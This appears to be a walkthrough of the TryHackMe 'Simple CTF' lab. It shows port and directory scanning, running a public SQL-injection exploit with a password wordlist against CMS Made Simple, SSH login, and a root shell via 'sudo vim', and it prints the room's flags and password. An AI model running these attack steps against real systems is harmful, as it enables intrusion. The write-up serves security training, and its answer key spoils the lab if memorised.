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Simple CTF

tryhackme.com - © TryHackMe

🔗 Simple CTF

Task 1 - Deploy the machine

🎯 Target IP: 10.10.86.206

Create a directory for machine on the Desktop and a directory containing the scans with nmap.

Task 2 - Reconnaissance

su
echo "10.10.86.206 simple_ctf.thm" >> /etc/hosts

mkdir thm/simple_ctf
cd thm/simple_ctf

# At the end of the room
# To clean up the last line from the /etc/hosts file
sed -i '$ d' /etc/hosts

I prefer to start recon by pinging the target, this allows us to check connectivity and get OS info.

ping -c 3 simple_ctf.thm
PING simple_ctf.thm (10.10.86.206) 56(84) bytes of data.
64 bytes from simple_ctf.thm (10.10.86.206): icmp_seq=1 ttl=63 time=72.8 ms
64 bytes from simple_ctf.thm (10.10.86.206): icmp_seq=2 ttl=63 time=80.6 ms
64 bytes from simple_ctf.thm (10.10.86.206): icmp_seq=3 ttl=63 time=61.8 ms

Sending these three ICMP packets, we see that the Time To Live (TTL) is ~64 secs. this indicates that the target is a *nix system (probably Linux), while Windows systems usually have a TTL of 128 secs.

2.1 - How many services are running under port 1000?

nmap -p- --open -sS -n -Pn simple_ctf.thm -oG open_ports
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-04 12:36 CEST
Nmap scan report for simple_ctf.thm (10.10.86.206)
Host is up (0.066s latency).
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
21/tcp   open  ftp
80/tcp   open  http
2222/tcp open  EtherNetIP-1

2 ports open under port 1000

2.2 - What is running on the higher port?

The higher port is 2222

2222/tcp open  EtherNetIP-1
nmap -p2222 -sC -sV simple_ctf.thm 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-04 12:43 CEST
Nmap scan report for simple_ctf.thm (10.10.86.206)
Host is up (0.062s latency).

PORT     STATE SERVICE VERSION
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 294269149ecad917988c27723acda923 (RSA)
|   256 9bd165075108006198de95ed3ae3811c (ECDSA)
|_  256 12651b61cf4de575fef4e8d46e102af6 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

SSH is running on port 2222

2.3 - What's the CVE you're using against the application?

OpenSSH 7.2p2 is a pretty old version. We can search exploits on Exploid-DB website or with:

searchsploit -s openssh 7.2p2s
---------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                          |  Path
---------------------------------------------------------------------------------------- ---------------------------------
OpenSSH 7.2p2 - Username Enumeration                                                    | linux/remote/40136.py
OpenSSHd 7.2p2 - Username Enumeration                                                   | linux/remote/40113.txt
---------------------------------------------------------------------------------------- ---------------------------------

2.4 - To what kind of vulnerability is the application vulnerable?

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9053

An issue was discovered in CMS Made Simple 2.2.8. It is possible with the News module, through a crafted URL, to achieve unauthenticated blind time-based SQL injection via the m1_idlist parameter.

This means that we need to look for a login form

SQLi

2.5 - What's the password?

Now, try to inspect webpage and his resource. I start by searching for info on the site with whatweb.

whatweb http://simple_ctf.thm
http://simple_ctf.thm/ [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.86.206], Title[Apache2 Ubuntu Default Page: It works]

Then I search from browser for the site, inspect the code and the file /robots.txt

simple_ctf.thm:80image

html source code

robots.txt

After these standard checks, we look for any hidden pathways with gobuster.

gobuster dir -u simple_ctf.thm -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://simple_ctf.thm
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/06/04 15:04:40 Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 293]
/.htpasswd            (Status: 403) [Size: 298]
/.htaccess            (Status: 403) [Size: 298]
/index.html           (Status: 200) [Size: 11321]
/robots.txt           (Status: 200) [Size: 929]
/server-status        (Status: 403) [Size: 302]
/simple               (Status: 301) [Size: 317] [--> http://simple_ctf.thm/simple/]
Progress: 4600 / 4615 (99.67%)
===============================================================

We found this interesting path:

/simple               (Status: 301) [Size: 317] [--> http://simple_ctf.thm/simple/]

simple_ctf.thm/simple

We perform the search only on this specific route:

gobuster dir -u simple_ctf.thm/simple -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://simple_ctf.thm/simple
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/06/04 15:08:49 Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 305]
/.hta                 (Status: 403) [Size: 300]
/.htpasswd            (Status: 403) [Size: 305]
/admin                (Status: 301) [Size: 323] [--> http://simple_ctf.thm/simple/admin/]
/assets               (Status: 301) [Size: 324] [--> http://simple_ctf.thm/simple/assets/]
/doc                  (Status: 301) [Size: 321] [--> http://simple_ctf.thm/simple/doc/]
/index.php            (Status: 200) [Size: 20073]
/lib                  (Status: 301) [Size: 321] [--> http://simple_ctf.thm/simple/lib/]
/modules              (Status: 301) [Size: 325] [--> http://simple_ctf.thm/simple/modules/]
/tmp                  (Status: 301) [Size: 321] [--> http://simple_ctf.thm/simple/tmp/]
/uploads              (Status: 301) [Size: 325] [--> http://simple_ctf.thm/simple/uploads/]
Progress: 4611 / 4615 (99.91%)
===============================================================

We found this interesting path:

/admin                (Status: 301) [Size: 323] [--> http://simple_ctf.thm/simple/admin/]

simple_ctf.thm/simple/admin

We finally found our login page, return to exploit db and analyze the exploit code.

We save the file, make it executable, and run it.

chmod +x exploit.py
python exploit.py -u http://simple_ctf.thm/simple --crack -w /usr/share/wordlists/rockyou.txt
  File "/home/kali/thm/simple_ctf/exploit.py", line 25
    print "[+] Specify an url target"
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
SyntaxError: Missing parentheses in call to 'print'. Did you mean print(...)?

In Python 3, the print statement has been replaced with the print() function, which must be called with parentheses. In Python 2, the print statement did not require parentheses.

We can convert script to python3 vs:

2to3 -w exploit.py
python exploit.py -u http://simple_ctf.thm/simple --crack -w /usr/share/wordlists/rockyou.txt

secret

2.6 - Where can you login with the details obtained?

ssh mitch@simple_ctf.thm -p 2222
The authenticity of host '[simple_ctf.thm]:2222 ([10.10.86.206]:2222)' can't be established.
ED25519 key fingerprint is SHA256:iq4f0XcnA5nnPNAufEqOpvTbO8dOJPcHGgmeABEdQ5g.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[simple_ctf.thm]:2222' (ED25519) to the list of known hosts.
mitch@simple_ctf.thm's password: 
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-58-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.

Last login: Mon Aug 19 18:13:41 2019 from 192.168.0.190

SSH

2.7 - What's the user flag?

$ $ ls
user.txt
$ cat user.txt
🚩 Flag (user.txt) 
G00d j0b, keep up!

2.8 - Is there any other user in the home directory? What's its name?

$ cd ..
$ ls
mitch  sunbath

sunbath

2.9 - What can you leverage to spawn a privileged shell?

On to privileged escalation! First I like to start off with running “sudo -l” to see what my current user can run.

sudo -l
User mitch may run the following commands on Machine:
    (root) NOPASSWD: /usr/bin/vim

We can see the user “mitch” can run /usr/bin/vim without a password. With that information, let’s check out GTFOBins and see if we can use that for privesc.

sudo vim -c ':!/bin/sh'
whoami
root

Vim

2.10 - What's the root flag?

cd root
ls
root.txt
cat root.txt
🚩 Flag (root.txt)

W3ll d0n3. You made it!